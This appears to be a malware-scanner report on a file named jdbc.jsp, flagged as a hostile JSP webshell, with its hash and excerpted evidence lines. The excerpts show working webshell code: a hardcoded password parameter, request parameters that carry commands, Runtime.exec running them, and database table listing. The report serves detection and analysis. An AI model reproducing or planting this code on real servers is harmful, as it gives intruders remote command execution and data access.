Hostile ^92% Download

jdbc.jsp

JSP webshell with command execution

Web Shell - file customize.jspWeb Shell - file utils.jsp

SHA-256c8ef23e6759e2dd84f28fc1ec5ae913b35c8efb05dd6aa2951aed9fe867553a1

Evidence

JSP page combines request access with Runtime execution lines 1–6

1<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
2<%!String Pwd = "mylove";
3
4	String EC(String s, String c) throws Exception {
5		return s;
6	}//new String(s.getBytes("ISO-8859- …

Web Shell - file utils.jsp lines 157–175

⋯5 lines
Connection c = GC(s);
String[] t = { "TABLE" };
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
while (r.next()) {
	sb.append(r.getString("TABLE_NAME") + "\t");
⋯9 lines

Java servlet request parameter access lines 210–226

⋯9 lines

220<%
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs) …

Java getRuntime call reference lines 278–288

11… f (Z.equals("M")) {
	String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
	Process p = Runtime.getRuntime().exec(c);
	MM(p.getInputStream(), sb);
	MM(p.getErrorStream(), sb);
⋯6 lines